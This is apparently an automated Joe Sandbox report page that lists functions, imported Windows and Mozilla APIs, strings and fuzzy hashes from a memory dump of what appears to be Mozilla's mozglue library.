Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID:
API String ID: 3835517998-0
Opcode ID: ea0b68077fa64ffd76dcc47ef03e6f4f69b179985f30176288c68950faa8d9a7
Instruction ID: d92c8d129c0a24130f979a2f763636445208d064b71910aab2c04378a409b6b7
Opcode Fuzzy Hash: ea0b68077fa64ffd76dcc47ef03e6f4f69b179985f30176288c68950faa8d9a7
Instruction Fuzzy Hash: AF21E771A003089FDF10AF25DC09BAE7BB8FF59214F108428E85AA7241CB35E558CFD6

Function 6C9C7030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C9C7046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C9C7060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9C707E

Part of subcall function 6C9781B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C9781DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9C7096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9C709C
LocalFree.KERNEL32(?), ref: 6C9C70AA

Strings

(null), xrefs: 6C9C706A, 6C9C7083
### ERROR: %s: %s, xrefs: 6C9C7087

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: 799d50ae2c8cd4392b7396ed99514a563573442b8f12c1fd3b3a1d9ce1cbd790
Instruction ID: 50fe69005c182e798a9f15668ccba81107089ea7272f5e11be6f008f9f28ce09
Opcode Fuzzy Hash: 799d50ae2c8cd4392b7396ed99514a563573442b8f12c1fd3b3a1d9ce1cbd790
Instruction Fuzzy Hash: B001F9B1A00204AFDB40ABA4DC0ADAF7BBCEF5D215F110438FA05A3241E631A9148BE5

Function 6C989E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C989EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C989F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C989F34
LeaveCriticalSection.KERNEL32(?), ref: 6C98A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C98A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C98A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C98A8B1, 6C98A8D4, 6C98A8EF

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: cde5646b796971ff5ae54760adf51a12e01acdd0eb05b015ade1a5c8bd69a31b
Instruction ID: 5fbc5079064593bcb9c93d3442eddf73db190925f6fb4ff7465c25f263bc933a
Opcode Fuzzy Hash: cde5646b796971ff5ae54760adf51a12e01acdd0eb05b015ade1a5c8bd69a31b
Instruction Fuzzy Hash: 5D728D72A067118FD714CF28C540215FBE5BF89328F2ACAADE8699B7D1D735E841CB80

Function 6C9B2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C9B2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C9B2C61

Part of subcall function 6C964DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C964E5A
Part of subcall function 6C964DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C964E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C9B2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9B2E2D

Part of subcall function 6C9781B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C9781DE

Strings

ProfileBuffer parse error: %s, xrefs: 6C9B2E3B
(root), xrefs: 6C9B354F
expected a Time entry, xrefs: 6C9B2E36

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 051c9d082c5821644c26f3b8e480c488fc55b8b01ee6521ea9ca19aa7f22a088
Instruction ID: 0e82305e77267a25958e945baa88ae0951f10a098b746c708860881212eb99dd
Opcode Fuzzy Hash: 051c9d082c5821644c26f3b8e480c488fc55b8b01ee6521ea9ca19aa7f22a088
Instruction Fuzzy Hash: 4791BFB0608B40AFC724CF24C49469FB7E5EFD9358F10891DE59AAB750DB30E949CB52

Function 6C98C0E0 Relevance: 11.2, APIs: 4, Strings: 2, Instructions: 728COMMON

Download Yara Rule

Strings

MOZ_CRASH(), xrefs: 6C98D4BB
0123456789abcdef, xrefs: 6C98C317

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID:
String ID: 0123456789abcdef$MOZ_CRASH()
API String ID: 0-3968268099
Opcode ID: a0559201fb54e4bb5dbdf6e5a296bf40641f38dc39e42f3d8cfade126cc7b4d0
Instruction ID: d6823aab76d6d217b7a1c47d9074fd7f92bfa692dc26a7ff4b3ebf7128c90589
Opcode Fuzzy Hash: a0559201fb54e4bb5dbdf6e5a296bf40641f38dc39e42f3d8cfade126cc7b4d0
Instruction Fuzzy Hash: E552C13160A3428FD724CF28C49076AB7E6FF8A318F248E1ED99687B95D735D845CB42

Function 6C9C9E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C9C9F3D
__aulldiv.LIBCMT ref: 6C9C9F77
__aullrem.LIBCMT ref: 6C9C9F8C
__aulldiv.LIBCMT ref: 6C9CA023

Strings

NaN, xrefs: 6C9C9EAB
-Infinity, xrefs: 6C9C9E60, 6C9C9E7B

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 1878906bbb34f85a380a7cb9515025233fd6f2394b67ad10b68b7a7e09835e22
Instruction ID: 2d046e7d8ccc60130126665580cd21b528b909adca834dcfbe03bef720b97a9b
Opcode Fuzzy Hash: 1878906bbb34f85a380a7cb9515025233fd6f2394b67ad10b68b7a7e09835e22
Instruction Fuzzy Hash: 22C1BF31F04319CBDB14CFA8C8507AEB7B6AB95318F144529D406ABB80DB71ED49CB92

Function 6C96D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

0, xrefs: 6C96D852
, xrefs: 6C96DA88
@, xrefs: 6C96DAF6
9, xrefs: 6C96DE7F
8, xrefs: 6C96DC08
0, xrefs: 6C96DC7F
1, xrefs: 6C96DBDD
-, xrefs: 6C96D7DD

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: d422a437f902954c7f4d47f26aa9593decdb02c354d74d2faeb5604f4aa8a01f
Instruction ID: a0901f222cd8859a407b961e5c55f7510dac1a46e8bb02b0adb94351604edb07
Opcode Fuzzy Hash: d422a437f902954c7f4d47f26aa9593decdb02c354d74d2faeb5604f4aa8a01f
Instruction Fuzzy Hash: 3362BC7250D3458FE701CE2AC09076ABBE6AF86358F284A4DE4E54BFD5C335D985CB82

Function 6C979F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

@, xrefs: 6C97A625
0, xrefs: 6C97AB22
0, xrefs: 6C97A100
' , xrefs: 6C97A3D8
1, xrefs: 6C97A824
9, xrefs: 6C97A5D6

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: d76fcf7af0b8365144aa1527f566321c4b1d1706847f2973b619ef0bd7ac3535
Instruction ID: a1be253c2caa14fe329c049bd74b65482e8243ccad3493cbe9aed38c26178273
Opcode Fuzzy Hash: d76fcf7af0b8365144aa1527f566321c4b1d1706847f2973b619ef0bd7ac3535
Instruction Fuzzy Hash: BB82E13190B3118BD730CF19C48426EB7F6FB81718F55A92AE89547E90DB35E885CBA2

Function 6C96BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C96C1CB
__aulldiv.LIBCMT ref: 6C96C24C
__aulldiv.LIBCMT ref: 6C96C348
__aullrem.LIBCMT ref: 6C96C365
__aulldiv.LIBCMT ref: 6C96C37D

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 2198b8d92d22e8dc58fa359ef4a537a2fc8e157b52ebe8a950d52e9ade9fa540
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 51323832B046018FDB18DE2DC890666BBE6AFD9310F09866DE895CB7D5D730DD05CB91

Function 6C9D545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C9D8A4B

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: cc7a2ef15a71ddddc90dd85fe83ebbcea8de06ce68a6e7893d1ff32e00509b1a
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 10B1E772E0061A8FDB14CF68CC907A9B7B6EF95314F1A42A9C549EB781D730E985CB90

Function 6C9D542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C9D88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C9D925C

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 5500b97effd87f839a53f5ec3485a5758551096bee4b98d62caf4844f2ae5e49
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 1CB1E572E0061A8FCB14CF58CC906ADB7B6EF95314F1A42A9C549EB785D730E989CB90

Function 6C9D50C7 Relevance: 6.5, APIs: 5, Instructions: 280COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9D8E18
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C9D925C

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction ID: 7209bfe219e37980f5c496360648875c623d40650a72435ca9e4d91eb2b98cb4
Opcode Fuzzy Hash: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction Fuzzy Hash: D8A1F672A005178FCB14CE68CC907ADB7B6EF95314F1A42B9C949EB785D730E989CB90

Function 6C9B77A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9B7A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9B7A93

Part of subcall function 6C985C50: GetTickCount64.KERNEL32 ref: 6C985D40
Part of subcall function 6C985C50: EnterCriticalSection.KERNEL32(6C9EF688), ref: 6C985D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C9B7AA1

Part of subcall function 6C985C50: __aulldiv.LIBCMT ref: 6C985DB4
Part of subcall function 6C985C50: LeaveCriticalSection.KERNEL32(6C9EF688), ref: 6C985DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C9B7B31

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 8e98d7b456fd5e39b485117d49b3de9adfd02648bf538e5d25a2c7b0b366184a
Instruction ID: f8be5d61e2a9f030d7f08675d196bc2e66d0c5e35e9f264214a8de5c9a793c4f
Opcode Fuzzy Hash: 8e98d7b456fd5e39b485117d49b3de9adfd02648bf538e5d25a2c7b0b366184a
Instruction Fuzzy Hash: 28B1AF356087809BCB14CF24C49065FB7E2BFD9318F254A1CE99677B91DB70E90ACB92

Function 6C9A6CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C9A6D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9A6E1E

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 273206f7c8d90829a06144a80fc5343d382ceb3a0be73cf25a91c53055643e4d
Instruction ID: 2a26b82c877f0ad9090e72f6f06b9436770b29fd3cfd7ab3e3b88798fe456d99
Opcode Fuzzy Hash: 273206f7c8d90829a06144a80fc5343d382ceb3a0be73cf25a91c53055643e4d
Instruction Fuzzy Hash: 80A17D746183819FDB14CF28C4807AEFBE6BFA8308F54491DE48A97751DB70E859CB92

Function 6C9CB700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6C9CB720
RtlNtStatusToDosError.NTDLL ref: 6C9CB75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,00000000,00000000,?,0000001C,6C99FE3F,00000000,00000000,?,?,00000000,?,6C99FE3F), ref: 6C9CB760

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: b3d88ed26074cd1c7ace71d203a8643a5c279f0e5f308ba6e2cdcccf202015fa
Instruction ID: 5ccbcb7234e88fa190c0227e1180db810b75f157bce09acde5fc46ad17f78c82
Opcode Fuzzy Hash: b3d88ed26074cd1c7ace71d203a8643a5c279f0e5f308ba6e2cdcccf202015fa
Instruction Fuzzy Hash: 60F0C2B0A0420DAEEF019AA1CC85BEF77BD9B28719F105129E911719C0D778E6DCCE62

Function 6C984640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C984777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C985585, 6C9855A8, 6C9855C3, 6C985624

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 81c1fa7a5732645c98f05b394697559ca47b29cbc3234b4f825d5839910a390f
Instruction ID: 5eeea10bf034b3d52165101627eb5782c1ce013d210ee24af936e5b57450b8ec
Opcode Fuzzy Hash: 81c1fa7a5732645c98f05b394697559ca47b29cbc3234b4f825d5839910a390f
Instruction Fuzzy Hash: B9B27D71A067018FD708CF19C590715BBE6BFC5328B29CBADE46A8B6E5D771E841CB80

Function 6C9C85F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C9C8C7C
__aulldiv.LIBCMT ref: 6C9C8DD7

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: f12e46c384c623772f879381122d2482cffaa12877b7276e2bba0dd1ac5da4a6
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 0E326B71F0011A8BDF1CCE9CC9A17BEB7B6FB88300F15852AD506BB790DA349D458B96

Function 6C9CB8C0 Relevance: 3.1, APIs: 2, Instructions: 118nativeCOMMON

Download Yara Rule

APIs

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C9703D4,?), ref: 6C9CB955
NtQueryVirtualMemory.NTDLL ref: 6C9CB9A5

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: MemoryQueryVirtualrand_s
String ID:
API String ID: 1889792194-0
Opcode ID: 82101772c390d49ff337f7b04df9e1fd0c4d330ec587c00af3e6140a85ec4989
Instruction ID: a63463f95096f1481e5ac80add819cacd44e6b423f884e7ef8a666fdd7909bf0
Opcode Fuzzy Hash: 82101772c390d49ff337f7b04df9e1fd0c4d330ec587c00af3e6140a85ec4989
Instruction Fuzzy Hash: 3D41B471F01219DFDF04CFA8D881ADEB7B9EF98354F14812AE505A7704DB31E8458B92

Function 6C9A5C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C974A63,?,?), ref: 6C9A5F06

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
